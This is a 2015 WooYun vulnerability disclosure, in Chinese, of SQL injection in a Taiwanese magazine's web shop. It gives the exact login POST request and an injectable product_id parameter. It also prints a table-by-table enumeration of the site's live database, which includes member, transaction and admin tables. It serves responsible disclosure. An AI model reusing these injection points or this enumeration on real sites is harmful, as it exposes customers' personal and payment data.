当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0154785

漏洞标题：台灣某雜誌多处SQL注入（臺灣地區）

相关厂商：Hitcon台湾互联网漏洞报告平台

漏洞作者： 路人甲

提交时间：2015-11-26 12:38

修复时间：2016-01-14 11:16

公开时间：2016-01-14 11:16

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-26： 细节已通知厂商并且等待厂商处理中
2015-11-30： 厂商已经确认，细节仅向厂商公开
2015-12-10： 细节向核心白帽子及相关领域专家公开
2015-12-20： 细节向普通白帽子公开
2015-12-30： 细节向实习白帽子公开
2016-01-14： 细节向公众公开

简要描述：

台灣某雜誌多处SQL注入

详细说明：

天下雜誌-華文世界最優質的財經雜誌

1.png


登陆处存在注入
POST /passwd_check.php HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://**.**.**.**/productview.php?assortment_id=24&sub_id=116%27&product_id=1098
Cookie: PHPSESSID=0rtdde9iku7q880d217ee8vcm2; visitcount=**.**.**.**; email_sender=**.**.**.**; __utma=2890917.1998216924.1448086988.1448086988.1448086988.1; __utmb=2890**.**.**.**8086988; __utmc=2890917; __utmz=2890917.1448086988.1.1.utmcsr=baidu|utmccn=(organic)|utmcmd=organic; __utmt=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
guest_name=aaaaa&pw=dsadsa&Submit.x=32&Submit.y=12
第二处：
http://**.**.**.**/productview.php?assortment_id=24&sub_id=116&product_id=1098
参数product_id存在注入

漏洞证明：

2.png


Database: dgnetcomtw
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| transactions                          | 32830   |
| article                               | 28043   |
| member                                | 20573   |
| member_bak                            | 13436   |
| member_second                         | 10610   |
| issue                                 | 5538    |
| visit_count2                          | 3177    |
| discount_ticket_record                | 2711    |
| discount_ticket                       | 2401    |
| gift_info                             | 2198    |
| email                                 | 2159    |
| product_message                       | 1951    |
| gift_subtopro                         | 1905    |
| gift_detail                           | 1628    |
| gift_content                          | 1285    |
| products_info                         | 941     |
| gift_transactions                     | 688     |
| products_detail                       | 654     |
| products_content                      | 421     |
| discount_price                        | 212     |
| gift_subassortment                    | 101     |
| gift_message                          | 91      |
| mem_point                             | 42      |
| comforum2                             | 20      |
| subassortment                         | 20      |
| promotion                             | 17      |
| gift_asp2                             | 15      |
| gift_assortment                       | 15      |
| auto_email_sender                     | 14      |
| email_visit_count                     | 14      |
| news_faq                              | 12      |
| payment                               | 10      |
| supply                                | 9       |
| ad                                    | 4       |
| asp2                                  | 4       |
| assortment                            | 4       |
| happylife_product                     | 4       |
| to_website                            | 4       |
| asp                                   | 3       |
| gift_promotion                        | 2       |
| shipping_fee                          | 2       |
| admin                                 | 1       |
| album                                 | 1       |
| brand                                 | 1       |
| comforum                              | 1       |
| company                               | 1       |
| ssp                                   | 1       |
| visit_count                           | 1       |
+---------------------------------------+---------+
Database: information_schema
+---------------------------------------+---------+
| Table                                 | Entries |
+---------------------------------------+---------+
| COLUMNS                               | 1054    |
| SESSION_VARIABLES                     | 327     |
| GLOBAL_VARIABLES                      | 316     |
| GLOBAL_STATUS                         | 310     |
| SESSION_STATUS                        | 310     |
| COLLATION_CHARACTER_SET_APPLICABILITY | 197     |
| COLLATIONS                            | 197     |
| PARTITIONS                            | 100     |
| TABLES                                | 100     |
| STATISTICS                            | 84      |
| KEY_COLUMN_USAGE                      | 51      |
| TABLE_CONSTRAINTS                     | 51      |
| CHARACTER_SETS                        | 39      |
| PLUGINS                               | 23      |
| SCHEMA_PRIVILEGES                     | 18      |
| ENGINES                               | 9       |
| SCHEMATA                              | 2       |
| PROCESSLIST                           | 1       |
| USER_PRIVILEGES                       | 1       |
+---------------------------------------+---------+

修复方案：

NULL

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-11-30 11:14

厂商回复：

感謝通報

最新状态：

暂无